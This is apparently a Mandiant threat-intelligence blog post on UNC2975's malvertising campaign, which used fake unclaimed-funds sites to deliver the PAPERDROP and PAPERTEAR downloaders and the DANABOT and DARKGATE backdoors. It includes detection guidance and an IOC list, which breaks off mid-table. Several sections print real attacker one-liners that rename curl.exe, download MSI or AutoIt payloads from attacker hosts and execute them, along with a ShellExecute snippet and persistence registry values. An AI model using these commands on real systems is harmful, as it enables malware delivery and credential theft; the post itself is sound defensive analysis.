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Opening a Can of Whoop Ads: Detecting and Disrupting a Malvertising Campaign Distributing Backdoors

Ryan Tomcik, Adrian McCabe, Rufus Brown, Geoff Ackerman
Dec 14, 2023
21 min read
|   Last updated: Dec 20, 2023
Malware
backdoor
Uncategorized Groups (UNC Groups)
Managed Defense

Earlier this year, Mandiant’s Managed Defense threat hunting team identified an UNC2975 malicious advertising (“malvertising”) campaign presented to users in sponsored search engine results and social media posts, consistent with activity reported in From DarkGate to DanaBot. This campaign dates back to at least June 19, 2023, and has abused search engine traffic and leveraged malicious advertisements to affect multiple organizations, which resulted in the delivery of the DANABOT and DARKGATE backdoors.

Managed Defense worked with Advanced Practices and with the Google Anti-Malvertising team to remove the malicious advertisements from the ads ecosystem, and subsequently alerted other impacted organizations to also take actions against this campaign.

This blog post covers the details of recently discovered infrastructure operated by the distribution threat cluster UNC2975, which Mandiant has tracked since 2021, that leveraged malicious advertisements to trick users into visiting fake “unclaimed funds'' themed websites. In this UNC2975 campaign, the malicious websites delivered PAPERDROP and PAPERTEAR downloader malware that eventually led to DANABOT and DARKGATE backdoor malware. This blog post also highlights how Mandiant's findings result in takedowns of malicious ad campaigns served on Google infrastructure. 

UNC2975 Targeting and TTPs

Mandiant currently tracks around 30 threat clusters that use malicious advertisements for the delivery of malware, including backdoors, data stealers, and downloaders. Since at least 2021, a threat actor tracked as UNC2975 has leveraged this technique to distribute downloader malware for second-stage payloads on victim endpoints.

UNC2975 is a distribution threat cluster that has historically used malvertising in order to distribute the VBScript-based downloader tracked as PAPERDROP. The distribution of PAPERDROP from UNC2975’s fake websites has primarily led to the deployment of the Delphi-based backdoor DANABOT. DANABOT is part of a Malware-as-a-Service platform where multiple affiliates can purchase access to the service. Beginning in September 2023, UNC2975’s malware distribution shifted. Instead of DANABOT, UNC2975 deployed a Delphi-based backdoor tracked as part of the DARKGATE Malware-as-a-Service platform. Due to multiple affiliates using these service platforms, the distribution methods of DANABOT and DARKGATE may vary across different distribution actors. 

UNC2975 creates fake websites that leverage themes such as unclaimed money, family ancestry, and astrology/horoscopes to facilitate its distribution operations. The threat cluster has commonly used social media advertisements to promote the fake websites but have since expanded to leverage additional platforms such as Microsoft and Google advertising. 

Ads Backwards: A Google Malvertising Response Team Investigation

Upon being notified of this campaign by Mandiant Managed Defense, the Google Anti-Malvertising team took enforcement actions and pivoted on the advertisement metadata to find additional related entries and to improve abuse detection and classification systems. 

Adversaries use several sophisticated techniques including impersonating genuine businesses, cloaking (i.e., hiding malicious web pages that only get revealed under specific conditions), and redirection to circumvent Google Ads verification and defense mechanisms. 

To protect users, Google detects, prevents, and blocks abusive activity as detailed in our annual Ads Safety report. Google encourages users to report suspicious advertisements they come across through either My Ad Center reporting functionality or using this form.

Malware Observed

Mandiant observed the following malware families while investigating this campaign.

Table 1: Malware families observed

Malware Family

Description

PAPERDROP

PAPERDROP is a downloader written in Visual Basic Script that communicates via HTTPS. It has been observed downloading DANABOT by writing it to disk and then executing it.

PAPERTEAR

PAPERTEAR is a downloader written in Visual Basic Script that communicates via HTTP. PAPERTEAR appends a list of enumerated local processes in the initial HTTP request.

DANABOT

DANABOT is a backdoor written in Delphi that communicates using a custom binary protocol over TCP. The backdoor implements a plug-in framework that allows it to add capabilities via downloaded plugins. DANABOT's capabilities include full system control using a VNC or RDP plugin, video and screenshot capture, keylogging, arbitrary shell command execution, and file transfer. DANABOT's proxy plugin allows it to redirect or manipulate network traffic associated with targeted websites. This capability is often used to capture credentials or payment data. DANABOT can also extract stored credentials associated with web browsers and FTP clients.

 

Numerous observed campaigns leveraging DANABOT have been reported, including UNC3379 activity associated with a coinminer campaign, and a similar mechanism for DANABOT distribution using a different JS library.

DARKGATE

DARKGATE is a Delphi-based backdoor capable of performing keyboard capture, shell command execution, file transfer and execution, and credential theft. Other functions include system survey, shutdown and restart, taking screengrabs and controlling a cryptominer. Some variants retrieve their command-and-control (C2 or C&C) address from a page on the pastebin.com website.

 

More notable instances of OSINT reporting involving DARKGATE include actors previously associated with QAKBOT leveraging DARKGATE as a payload, and some insights into DARKGATE’s technical architecture and use.

A Pain in the Ads: UNC2975 Campaign Discovery

Threat actors purchase advertisements [MITRE ATT&CK® Technique T1583.008] for malicious websites with the goal of tricking users into visiting and downloading malware [T1189], which can lead to data theft and ransomware. Platforms that serve advertisements, such as search engines or social media, can provide granular controls that allow advertisers to target specific audiences based on users’ geographic locations, IP address range (e.g., geofencing), browsing history, and device types. Some of the more robust advertising platforms (such as Bing and Google Ads) provide even more targeting categories, like age, gender, income level, and other audience attributes. These capabilities allow advertisers, both legitimate and malicious, to craft ads specific to their desired targets and improve the effectiveness of their campaigns. This also allows malicious advertisers who are able to avoid policy enforcement to develop and retain “customer” profiles about the victims who interact with their ads for use in future targeting operations.

Earlier this year, Managed Defense’s threat hunting team identified UNC2975 advertisements presented to users in sponsored search engine results and social media posts. The advertised websites were displayed in the sponsored results for searches related to “unclaimed money” where individuals can search for and claim funds that are held by federal or state government agencies [T1583.008].

Search engine results advertising an UNC2975 controlled website
Figure 1: Search engine results advertising an UNC2975 controlled website

When an unsuspecting victim clicked on a malicious advertised result, they were presented with a web portal that prompted them to enter their first and last name and their state of residence in order to receive a “report” on purported unclaimed funds.

Screenshot of TreasuryDept[.]org on September 10, 2023 Retrieved from Wayback Machine
Figure 2: Screenshot of TreasuryDept[.]org on September 10, 2023 Retrieved from Wayback Machine

In each investigation under this campaign, Mandiant identified browser history artifacts on affected systems showing that a user clicked on a malicious advertisement and interacted with one of two websites: claimprocessing[.]org or treasurydept[.]org.

Table 2: Browser history artifacts showing where the malicious advertisement was promoted

Advertisement Placement

Browser History Artifact(s)

Social Media Post

Malicious URL:

  • https[:]//www[.]claimprocessing[.]org/?utm_source=<socialmedia>ads&utm_medium=cpc&utm_campaign=claim&<snip>

 

Page Title: 

  • “Find Mass Money - ClaimProcessing[.]org”

 

Visit From: 

  • https://l.<socialmedia>[.]com/l.php?u=<snip>

 

Visit Type: 

  • Link - Redirect

Sponsored Search Engine Result

Search URL:

  • https://www[.]google[.]com/search?q=finding+unclaimed+money+in+california&rlz=<snip>

 

Malicious URL:

  • https://www[.]treasurydept[.]org/?utm_source=googlesearch&utm_medium=cpc&utm_campaign=google

 

Page Title: 

  • “Find Unclaimed Money - TreasuryDept[.]org”

 

Visit From: 

  • https://www[.]googleadservices[.]com/pagead/aclk?sa=<snip>

 

Visit Type: 

  • Link - Redirect

The downloadable “reports” were actually ZIP archive files containing Visual Basic scripts that Mandiant identified as variants of the downloader malware families PAPERDROP and PAPERTEAR. The ZIP archive and Visual Basic script filenames were based on the values the user submitted into the web form. Launching the Visual Basic script from an archive file generates a process execution event that launches the script from a temporary folder path [T1059.005]. The temporary folder path that’s created is dependent on the archiving utility, such as WinRAR, that’s used to unpack the archive file.

Table 3: Initial Visual Basic script payload download and execution

Event

Event Details

Malicious ZIP File Download

File Write Process(es):

  • C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

 

Sample Download URL(s):

  • https[:]//www[.]treasurydept[.]org/gujijed/tokew.php
  • https[:]//www[.]claimprocessing[.]org/roxif/pateromyx.php

 

Sample Destination Path(s): 

  • C:\Users\<user>\Downloads\flast_d45534i.zip
  • C:\Users\<user>\Downloads\msmith-dc45389tyt.zip

PAPERDROP / PAPERTEAR Execution

Parent Process: 

  • C:\Windows\explorer.exe

 

Process:

  • C:\Windows\System32\wscript.exe

 

Sample Command Line:

  • "C:\Windows\System32\WScript.exe" "C:\Users\<user>\AppData\Local\Temp\1\Temp1_flast_d45534i.zip\flast_d45534i.vbs"

Mandiant identified three different delivery chains that PAPERDROP and PAPERTEAR used to download and execute secondary payloads DANABOT and DARKGATE malware attributed to multiple UNC groups. Two delivery chains leveraged a renamed version of the cURL binary curl.exe [T1105] to download a malicious installation package .msi file [T1218.007] or an AutoIt executable, AutoIt3.exe and malicious AutoIt script, .au3 file [T1059]. Mandiant also observed PAPERDROP download and execute a malicious installation package file without using a specific transfer tool.

Table 4: PAPERDROP and PAPERTEAR delivery chains

Payload Delivery Chains

Event Details

Delivery Chain #1: Renamed cURL downloading Windows Installer Package and executing with Msiexec.exe 

Parent Process: 

  • C:\Windows\System32\wscript.exe

 

Process:

  • C:\Windows\System32\cmd.exe

 

Command Line(s):

  • "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\%USERNAME%\AppData\Local\Temp\ & copy c:\windows\system32\curl.exe KFSELqcUm.exe & KFSELqcUm.exe -o qgEYlIKPDYzj.msi https[:]//pittsburgh.soulcarelife[.]org/?sxykn3bjp0rmnaefzc8jb3qc2704 & C:\Windows\System32\msiexec.exe /i qgEYlIKPDYzj.msi /qn
  • "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\%USERNAME%\AppData\Local\Temp\ & copy c:\windows\system32\curl.exe ihcbzhY.exe & ihcbzhY.exe -o SYUxEbPz.msi https[:]//durham.soulcarelife[.]org/?n3sqd95xk20z2b3vue9tnpiadp2j6 & C:\Windows\System32\msiexec.exe /i SYUxEbPz.msi /qn
  • "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\%USERNAME%\AppData\Local\Temp\ & copy c:\windows\system32\curl.exe NVJwQupTC.exe & NVJwQupTC.exe -o BEqvhTR.msi https[:]//plano.soulcarelife[.]org/?vc4njfp8xnwzb30akwaf2pj3fjs36q & C:\Windows\System32\msiexec.exe /i BEqvhTR.msi /qn

 

Delivery Chain #2: Renamed cURL downloading AutoIT executable and script file

Parent Process: 

  • C:\Windows\System32\wscript.exe

 

Process:

  • C:\Windows\System32\cmd.exe

 

Command Line(s):

  • "C:\Windows\System32\cmd.exe" /c mkdir c:\yifr & cd /d c:\yifr & copy c:\windows\system32\curl.exe yifr.exe & yifr -H "User-Agent: curl" -o Autoit3.exe http[:]//infocatalog[.]pics:8080 & yifr -o khscrk.au3 http[:]//infocatalog[.]pics:8080/msiyifrmouv & Autoit3.exe khscrk.au3

Delivery Chain #3: Windows Script Host process downloading Windows Installer Package and executing with Msiexec.exe

Parent Process: 

  • C:\Windows\System32\wscript.exe

 

Process:

  • C:\Windows\System32\msiexec.exe

 

Command Line(s):

  • msiexec /i C:\programData\Y9U68YA55.bin /qn

The subsequent system artifacts that were created varied depending on the backdoor payload that was delivered. The post-delivery infection timelines shown in the following sections may not represent all potential artifacts as complete malware execution may have been disrupted by endpoint security software or network controls.

Infection Chain #1: PAPERDROP > DANABOT

Infection chain #1 involving DANABOT
Figure 3: Infection chain #1 involving DANABOT

In the first infection chain following PAPERDROP execution, the Windows Script Host process wscript.exe performed a DNS request for the domain mesa.halibut[.]sbs and connected to the IP address 47.252.45[.]173 over port 443. The process wscript.exe then executed the Windows Installer utility msiexec.exe [T1218.007] with the command msiexec /i C:\programData\HLWOIRTAA9P.bin /qn to quietly install an application using the package file C:\programData\HLWOIRTAA9P.bin that masqueraded as a .bin file [T1036.008]. Next, the Msiexec application launched the installer process C:\Windows\Installer\MSI4F8C.tmp which executed the rundll32.exe command C:\WINDOWS\system32\rundll32.exe C:\Users\<user>\AppData\Local\Temp\Oadsoophotfp.dll,start to load the in-memory dropper DLL file C:\Users\<user>\AppData\Local\Temp\Oadsoophotfp.dll and execute a function named start to decompress and deobfuscate a DANABOT payload [T1218.011]. The rundll32.exe process performed a series of writes to extensionless files under the user’s AppData\Local\Temp directory.

The infected rundll32.exe process communicated with the IP address 35.203.111[.]228 over port 443 and the local IP address 127.0.0[.]1 over ports 22405 and 52787. The DANABOT malware launched the command "C:\WINDOWS\system32\rundll32.exe" "C:\WINDOWS\system32\shell32.dll",#61 22405 to open and interact with the Run dialog that is  normally accessed through the Start Menu. Lastly, the infected rundll32.exe process executed the commands schtasks /End /tn \Microsoft\Windows\Wininet\CacheTask and schtasks /Run /tn \Microsoft\Windows\Wininet\CacheTask to stop and start the Wininet Cache Task [T1053.005]. This Scheduled Task activity may be related to Wininet API hooking to intercept credentials entered into Microsoft Edge or Internet Explorer. Finally, the DANABOT infected rundll32.exe process created and wrote to a randomly named .tmp file, such as C:\Users\<user>\AppData\Local\Temp\tmpAEA8.tmp or C:\Users\<user>\AppData\Local\Temp\Aroeihiaietwq.tmp.

Although not observed in each case, Mandiant identified Run key persistence to execute the DANABOT payload in the file C:\Users\<user>\AppData\Local\Temp\Oadsoophotfp.dll using a random key value: HKEY_USERS\<user>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\\Hryrqsf [T1547.001].

Infection Chain #2: PAPERTEAR > RENAMED CURL > DARKGATE

Infection chain #2 involving DARKGATE
Figure 4: Infection chain #2 involving DARKGATE

In the second infection chain, the PAPERTEAR downloader performed an HTTP POST request to the host infocatalog[.]pics over port 8080. Next, the wscript.exe process executed the Windows Command Shell using an extended one-liner consisting of multiple commands, shown in Figure 5.

Figure 5: Breakdown of Windows Command Shell one-liner to drop DARKGATE

Command Line:

"C:\Windows\System32\cmd.exe" /c mkdir c:\yifr & cd /d c:\yifr & copy c:\windows\system32\curl.exe yifr.exe & yifr -H "User-Agent: curl" -o Autoit3.exe http[:]//infocatalog[.]pics:8080 & yifr -o khscrk.au3 http[:]//infocatalog[.]pics:8080/msiyifrmouv & Autoit3.exe khscrk.au3

 

Command Breakdown:

  • mkdir c:\yifr
    • Create the directory c:\yifr
  • cd /d c:\yifr
    • Change the working directory to the folder c:\yifr
  • copy c:\windows\system32\curl.exe yifr.exe
    • Copy the cURL binary curl.exe to a new file named yifr.exe
  • yifr -H "User-Agent: curl" -o Autoit3.exe http[:]//infocatalog[.]pics:8080
    • Use the renamed cURL binary to download the file Autoit3.exe hosted on the domain infocatalog[.]pics
  • yifr -o khscrk.au3 http[:]//infocatalog[.]pics:8080/msiyifrmouv
    • Use the renamed cURL binary to download the file khscrk.au3 hosted on the domain infocatalog[.]pics
  • Autoit3.exe khscrk.au3
    • Execute the AutoIt script file khscrk.au3 using Autoit3.exe to install DARKGATE malware

Infection Chain #3: PAPERDROP > RENAMED CURL > DANABOT

Infection chain #3 involving DANABOT
Figure 6: Infection chain #3 involving DANABOT

In the third infection chain, the PAPERDROP downloader executed another extended one-liner that used a renamed curl.exe binary [T1105] to download and install a malicious package file that drops DANABOT [T1218.007]. 

Figure 7: Breakdown of Windows Command Shell one-liner to drop DANABOT

Command Line:

"C:\Windows\System32\cmd.exe" /c cd /d C:\Users\%USERNAME%\AppData\Local\Temp\ & copy c:\windows\system32\curl.exe ihcbzhY.exe & ihcbzhY.exe -o SYUxEbPz.msi https://durham.soulcarelife[.]org/?n3sqd95xk20z2b3vue9tnpiadp2j6 & C:\Windows\System32\msiexec.exe /i SYUxEbPz.msi /qn

 

Command Breakdown:

  • cd /d C:\Users\%USERNAME%\AppData\Local\Temp\
    • Change the working directory to the folder C:\Users\%USERNAME%\AppData\Local\Temp\
  • copy c:\windows\system32\curl.exe ihcbzhY.exe
    • Copy the cURL binary curl.exe to a new file named ihcbzhY.exe
  • ihcbzhY.exe -o SYUxEbPz.msi https://durham.soulcarelife[.]org/?n3sqd95xk20z2b3vue9tnpiadp2j6
    • Use the renamed cURL binary to download the file SYUxEbPz.msi hosted on the domain durham.soulcarelife[.]org
  • C:\Windows\System32\msiexec.exe /i SYUxEbPz.msi /qn
    • Install the malicious package file using Msiexec

Following the execution of the SYUxEbPz.msi package installation, the msiexec.exe process created files to spoof the appearance of the Cisco Umbrella Roaming application under the directory C:\Users\<user>\AppData\Roaming\Cisco Corp\Umbrella Roaming Client\Umbrella Roaming Client. One file in the new directory — CoreReborn32.bin — was identified as a DANABOT launcher. In a separate investigation, Mandiant identified a folder path that spoofed the Box Edit application and dropped a DANABOT payload to the path C:\Users\<user>\AppData\Roaming\Box Inc\Box Edit\Box Edit\Box.LocalComServer.Fix.Environment.dll.

Next, the Windows Installer process C:\Windows\Installer\MSI23C9.tmp launched the DANABOT backdoor with the Rundll32 command rundll32.exe "C:\Users\<user>\AppData\Roaming\Cisco Corp\Umbrella Roaming Client\Umbrella Roaming Client\CoreReborn32.bin",start [T1218.011]. Once executed, the DANABOT infected rundll32.exe process wrote to the Windows Run key HKEY_USERS\<user>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Srfshu to ensure persistent execution of the command "C:\WINDOWS\system32\RUNDLL32.EXE" "C:\Users\<user>\AppData\Roaming\Cisco Corp\Umbrella Roaming Client\Umbrella Roaming Client\CoreReborn32.bin",start [T1547.001]. In addition to Run key persistence, Mandiant has also identified the capability for DANABOT to use a new Windows service [T1543.003] using the ServiceDll entry to point to the malicious DLL.

Infection chain #3 involving DANABOT
Figure 8: Infection chain #3 involving DANABOT

Similar to the first infection chain, the infected rundll32.exe performed a series of writes to extensionless files under the user’s AppData\Local\Temp directory and communicated with the IP address 34.16.181[.]0 over port 443 and the local IP address 127.0.0[.]1 over port 15066. The DANABOT malware launched the command "C:\WINDOWS\system32\rundll32.exe" "C:\WINDOWS\system32\shell32.dll",#61 15066 to open and interact with the Run dialog and executed the commands schtasks /End /tn \Microsoft\Windows\Wininet\CacheTask and schtasks /Run /tn \Microsoft\Windows\Wininet\CacheTask to stop and start the Wininet Cache Task [T1053.005]. The DANABOT payload also modified the local proxy settings in the Windows registry [T1562].

Finally, the DANABOT-infected rundll32.exe process wrote to a randomly named .tmp file C:\Users\<user>\AppData\Local\Temp\Prfpdh.tmp.

WiseAds Comments: PAPERDROP and PAPERTEAR

Throughout the course of the observed malvertising campaign, Mandiant encountered both PAPERDROP and PAPERTEAR Visual Basic Script (VBS) files in use by malicious actors to facilitate payload deployment.

The main difference in functionality between PAPERDROP and PAPERTEAR is that PAPERDROP makes heavier use of local files to facilitate payload deployment, whereas PAPERTEAR leverages direct command line execution.

PAPERDROP

Initially observed by Mandiant in January 2021 in use by UNC2975, PAPERDROP is primarily associated with DANABOT payload distribution and generally has several distinct characteristics across two different build types. NOTE: Since 2021, PAPERDROP has been observed in use by multiple UNC groups. The samples shown in this section represent a cross-section of the PAPERDROP malware family as a whole, and are not specific to UNC2975 activity.

The first build type is markedly denser than the second. It features prominent use of code comments, complex variable names, and other junk code presumably used as a rudimentary code obfuscation mechanism [T1027].

PAPERDROP type #1, junk code and comments
Figure 9: PAPERDROP type #1, junk code and comments

In addition to the more commonly observed mechanism for code comments leveraging single quotes , Visual Basic also allows the use of the characters “REM” to designate code comments. This can be seen in Figure 10. 

Looking through the smoke-screened code reveals some interesting elements. PAPERDROP seemingly leverages basic mathematical operations (especially modulus or “Mod”) as part of its execution flow.

PAPERDROP type #1 source code, math functions
Figure 10: PAPERDROP type #1 source code, math functions

It also does little in the way of obfuscation with regard to concealing its C2 addresses or file system path names. It merely separates these values through individual function calls to add characters to progressively concatenated strings, but it is possible to view the characters by simply scrolling through the file and reading them in reverse order from bottom to top (see Figure 11).

PAPERDROP Type #1 source code, reverse-order string concatenation
Figure 11: PAPERDROP Type #1 source code, reverse-order string concatenation

Some samples of PAPERDROP build type #1 feature elaborate Sleep calls, presumably in an attempt to evade sandbox detection.

PAPERDROP Type #1 source code, Sleep calls
Figure 12: PAPERDROP Type #1 source code, Sleep calls

Conversely, PAPERDROP build type #2 is much closer to PAPERTEAR in its architecture. It makes limited use of smoke-screened/obfuscated code in comparison to build type #1, though it still makes use of mathematical functions as part of its execution flow.

PAPERDROP type #2 raw source code
Figure 13: PAPERDROP type #2 raw source code

When fully deobfuscated, the core download functionality executes as shown in Figure 14.

PAPERDROP Type #2 deobfuscated source code, core payload retrieval
Figure 14: PAPERDROP Type #2 deobfuscated source code, core payload retrieval

In the case of Figure 14, the file payload from ignitethefund[.]com was saved to C:\ProgramData\1DR.png, though it was executed by the PAPERDROP VBS as a DLL.

PAPERTEAR

Similar to PAPERDROP build type #2, PAPERTEAR is also comparatively less dense. It too avoids excessive use of junk code and stays fairly direct in terms of its execution flow. When executed on a host, most variants of PAPERTEAR try to collect a list of running processes via Windows Management Instrumentation [T1047].

PAPERTEAR source code, process retrieval
Figure 15: PAPERTEAR source code, process retrieval

PAPERTEAR will then initiate an attempt to retrieve its payload via an HTTP POST request to a remote C2 server via a WinHTTPrequest object, and, for certain variants, appends the list of running processes it retrieves (code shown in Figure 16) to the outbound HTTP request header. One of the minor obfuscation methods leveraged by PAPERTEAR samples is the sporadic inclusion of curious code comments (Figure 16), presumably to avoid static-based detections and amplify code entropy. In this case, however, identifying the literary source of the comments was…quite elementary.

PAPERTEAR source code, HTTP functionality, code comments sourced from a Sherlock Holmes novel
Figure 16: PAPERTEAR source code, HTTP functionality, code comments sourced from a Sherlock Holmes novel

From there, PAPERTEAR will then parse the HTTP response from the C2 server and directly execute its contents on the host via ShellExecute. With the limited obfuscation removed, the crucial snippet of code from Figure 16 that performs this function would otherwise appear as:

CreateObect("Shell Application").ShellExecute "cmd","<variable with http response from c2 containing arbitrary command>","","",0

This is the core differentiator between PAPERTEAR and PAPERDROP. While PAPERTEAR executes commands directly from the HTTP response it receives, PAPERDROP writes the contents of the HTTP response to disk prior to executing additional steps in its infection chain. PAPERTEAR is primarily associated with the distribution of DARKGATE payloads and is suspected to be integrated directly into the DARKGATE malware build process.

Campaign Tracking 

Mandiant has been disseminating intelligence on UNC2975’s campaign within Mandiant Advantage, providing our customers with notable and dynamic updates regarding changes in tactics and techniques, the introduction of tools with new capabilities, and the use of new infrastructure UNC2975 has used to carry out its mission. 

Mandiant tracks separate campaigns for each distribution method or actors delivering the Malware-as-a-Service backdoor DARKGATE. To differentiate between the initial malware distribution, DARKGATE infrastructure, and follow-on activity, Mandiant tracks each part of the intrusion as separate clusters until further overlaps are identified and warrant merging. Mandiant tracks the DARKGATE Malware-as-a-Service infrastructure and associated payloads as UNC5085 while separately clustering the different distribution methods and any follow-on actors.

See our previous blog post for more insights into how Mandiant can help Gain Visibility Into Attacker Activity with Threat Campaigns. The following campaigns within Mandiant Advantage are associated with recent DARKGATE distribution actors and follow-on activity: 

Outlook and Implications

In M-Trends 2023, the three most common initial access techniques Mandiant observed related to workstation compromise were phishing [T1566], drive-by compromise [T1189], and replication through removable media [T1091]. Within the category of drive-by compromise, Mandiant has observed an increase from 2022 to 2023 in the number of investigations involving malicious advertisements where the initial infection vector was able to be identified. More broadly, in 2022 alone, Google removed over 5.2 billion ads, restricted over 4.3 billion ads and suspended over 6.7 million advertiser accounts. While it is unlikely that malvertising will cease to be a viable attack vector for threat actors, maintaining a level of response readiness when such threats are identified is key to being able to neutralize campaigns in their early stages. In this case, Mandiant Managed Defense, in partnership with Mandiant Intelligence and the Google Ads team, was successfully able to protect users on a granular host-based level as well as at a global scale across the Google ecosystem.

Mandiant’s Managed Defense threat hunting team focuses on identifying behaviors associated with threat actors and endpoint compromises, especially those that don’t typically generate product-based alerts. By focusing on behavioral indicators, we can identify evidence of different types of compromise, such as malware execution or a threat actor profiling an environment using discovery commands. Like all security analysts, when we identify evidence of compromise, we analyze the data to try to answer the question: “How was the system initially compromised?” Performing a deeper dive to identify the initial infection vector and related timeline events provides two benefits: [1] the ability to identify campaigns through repeated use of infrastructure and indicators and [2] additional malware or behavioral artifacts that can be used to create or expand existing detections, event correlations, and threat hunting missions. The Detection Opportunities section of this blog post includes commands and artifacts that Mandiant discovered beyond the initial detection events that were used to create additional signatures to identify future activity faster.

Appendix A: Detection Opportunities

Security analysts can use the following events as input for testing new or existing signatures for context-based detection or alerting.

Detection Opportunity

MITRE ATT&CK® Technique(s)

Event Details

Msiexec installing package with masquerading file extension

T1218.007, T1036.008

Parent Process:

  • C:\Windows\System32\wscript.exe

 

Process: 

  • C:\Windows\System32\msiexec.exe

 

Command Line:

  • msiexec /i C:\programData\HLWOIRTAA9P.bin /qn

Rundll32 opening the Run Dialog via shell32.dll

T1218.011

Parent Process:

  • C:\Windows\SysWOW64\rundll32.exe

 

Process: 

  • C:\Windows\System32\rundll32.exe

 

Command Line:

  • "C:\WINDOWS\system32\rundll32.exe" "C:\WINDOWS\system32\shell32.dll",#61 22405

Anomalous Rundll32 file writes to %Temp% directory

T1218.011

Process: 

  • C:\Windows\SysWOW64\rundll32.exe

 

Files Written:

  • C:\Users\<user>\AppData\Local\Temp\Sheddth
  • C:\Users\<user>\AppData\Local\Temp\Thshiqi
  • C:\Users\<user>\AppData\Local\Temp\Qswsweidoeuase

Windows Script Host executing file in compressed archive

T1059.005, T1204.002

Parent Process:

  • C:\Windows\System32\wscript.exe

 

Process: 

  • C:\Windows\System32\msiexec.exe

 

Command Line:

  • "C:\Windows\System32\WScript.exe" "C:\Users\<user>\AppData\Local\Temp\1\Temp1_flast_d45534i.zip\flast_d45534i.vbs”

Msiexec installing package located under %ProgramData%

T1218.007

Parent Process:

  • C:\Windows\System32\wscript.exe

 

Process: 

  • C:\Windows\System32\msiexec.exe

 

Command Line:

  • msiexec /i C:\programData\FM40VY7.bin /qn

AutoIt script file payload downloaded via command-line

T1105

Parent Process:

  • C:\Windows\System32\wscript.exe

 

Process: 

  • C:\Windows\System32\cmd.exe

 

Command Line: 

  • "C:\Windows\System32\cmd.exe" /c mkdir c:\yifr & cd /d c:\yifr & copy c:\windows\system32\curl.exe yifr.exe & yifr -H "User-Agent: curl" -o Autoit3.exe http[:]//infocatalog[.]pics:8080 & yifr -o khscrk.au3 http[:]//infocatalog[.]pics:8080/msiyifrmouv & Autoit3.exe khscrk.au3 

cURL binary copied via command-line

T1036.003

Parent Process:

  • C:\Windows\System32\cmd.exe

 

Process: 

  • C:\Windows\System32\copy.exe

 

Command Line: 

  • copy c:\windows\system32\curl.exe ihcbzhY.exe

Suspected renamed cURL binary execution

T1105, T1036.003

Parent Process:

  • C:\Windows\System32\cmd.exe

 

Process: 

  • c:\yifr\yfir.exe

 

Command Line:

  • yifr -H "User-Agent: curl" -o Autoit3.exe http[:]//infocatalog[.]pics:8080

 

User-Agent:

  • curl

Masquerading cURL downloading MSI file

T1105, T1036.003

Parent Process:

  • C:\Windows\System32\cmd.exe

 

Process: 

  • C:\Users\<user>\AppData\Local\Temp\CoNyuYT.exe

 

Command Line:

  • CoNyuYT.exe  -o QAcyqLqxgu.msi https[:]//plano.soulcarelife[.]org/?n0igoun59hzb3eguo63j1hmjobmjw8

Schtasks used to stop WININET Cache Task

T1053.005

Parent Process:

  • C:\Windows\SysWOW64\rundll32.exe

 

Process: 

  • C:\Windows\SysWOW64\schtasks.exe

 

Command Line:

  • schtasks /End /tn \Microsoft\Windows\Wininet\CacheTask

Schtasks used to start WININET Cache Task

T1053.005

Parent Process:

  • C:\Windows\SysWOW64\rundll32.exe

 

Process: 

  • C:\Windows\SysWOW64\schtasks.exe

 

Command Line:

  • schtasks /Run /tn \Microsoft\Windows\Wininet\CacheTask

Rundll32 loading DLL file with anomalous extension

T1218.011, T1036.008

Process: 

  • C:\Windows\system32\rundll32.exe

 

Command Line:

  • "C:\WINDOWS\system32\RUNDLL32.EXE" "C:\Users\<user>\AppData\Roaming\Cisco Corp\Umbrella Roaming Client\Umbrella Roaming Client\CoreReborn32.bin",start

 

Image Load:

  • C:\Users\<user>\AppData\Roaming\Cisco Corp\Umbrella Roaming Client\Umbrella Roaming Client\CoreReborn32.bin

Rundll32 modifying local proxy settings

T1218.011, T1562

Process: 

  • C:\Windows\SysWOW64\rundll32.exe

 

Registry Keys:

  • HKEY_USERS\<user>\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer | 127.0.0.1:15064
  • HKEY_USERS\<user>\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride | 127.0.0.1

Registry Run key with Rundll32 command in text value 

T1547.001, T1218.011

Registry Key:

  • HKEY_USERS\<user>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Srfshu

 

Text Value:

  • "C:\WINDOWS\system32\RUNDLL32.EXE" "C:\Users\<user>\AppData\Roaming\Cisco Corp\Umbrella Roaming Client\Umbrella Roaming Client\CoreReborn32.bin",start

Rundll32 process creating Run key persistence

T1547.001, T1218.011

Process: 

  • rundll32.exe

 

Registry Key:

  • HKEY_USERS\<user>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Srfshu

 

Text Value:

  • "C:\WINDOWS\system32\RUNDLL32.EXE" "C:\Users\<user>\AppData\Roaming\Cisco Corp\Umbrella Roaming Client\Umbrella Roaming Client\CoreReborn32.bin",start

Rundll32 execution of file under \AppData\

T1218.011

Parent Process:

  • C:\Windows\Installer\MSI4F8C.tmp

 

Process: 

  • C:\Windows\SysWOW64\rundll32.exe

 

Command Line:

  • C:\WINDOWS\system32\rundll32.exe C:\Users\<user>\AppData\Local\Temp\Oadsoophotfp.dll,start

Appendix B: Indicators of Compromise

Type

Value

Campaign

Malware Family

Attribution

Domain

www.claimprocessing[.]org

23-046

 

UNC2975

Domain

www.treasurydept[.]org

23-046

 

UNC2975

Domain

www.assetfinder[.]org

23-046

 

UNC2975

Domain

gfind[.]org

23-046

 

UNC2975

Domain

claimunclaimed[.]org

23-046

 

UNC2975

Domain

treasurydept[.]org

23-046

 

UNC2975

Domain

www.myunclaimedcash[.]org

23-046

 

UNC2975

Domain

freelookup[.]org

23-046

 

UNC2975

Domain

capitalfinders[.]org

23-046

 

UNC2975

Domain

plano.soulcarelife[.]org

23-046

PAPERDROP

UNC2975

Domain

pittsburgh.soulcarelife[.]org

23-046

PAPERDROP

UNC2975

Domain

durham.soulcarelife[.]org

23-046

PAPERDROP

UNC2975

Domain

mesa.halibut[.]sbs

23-046

PAPERDROP

UNC2975

Domain

arlington.barracudas[.]sbs

23-046

PAPERDROP

UNC2975

Domain

lugbara[.]top

23-046

PAPERDROP

UNC2975

Domain

lewru[.]top

23-046

PAPERDROP

UNC2975

Domain

infocatalog[.]pics

23-046

DARKGATE

UNC5085

Domain

bikeontop[.]shop

23-046

DARKGATE

UNC5085

Domain

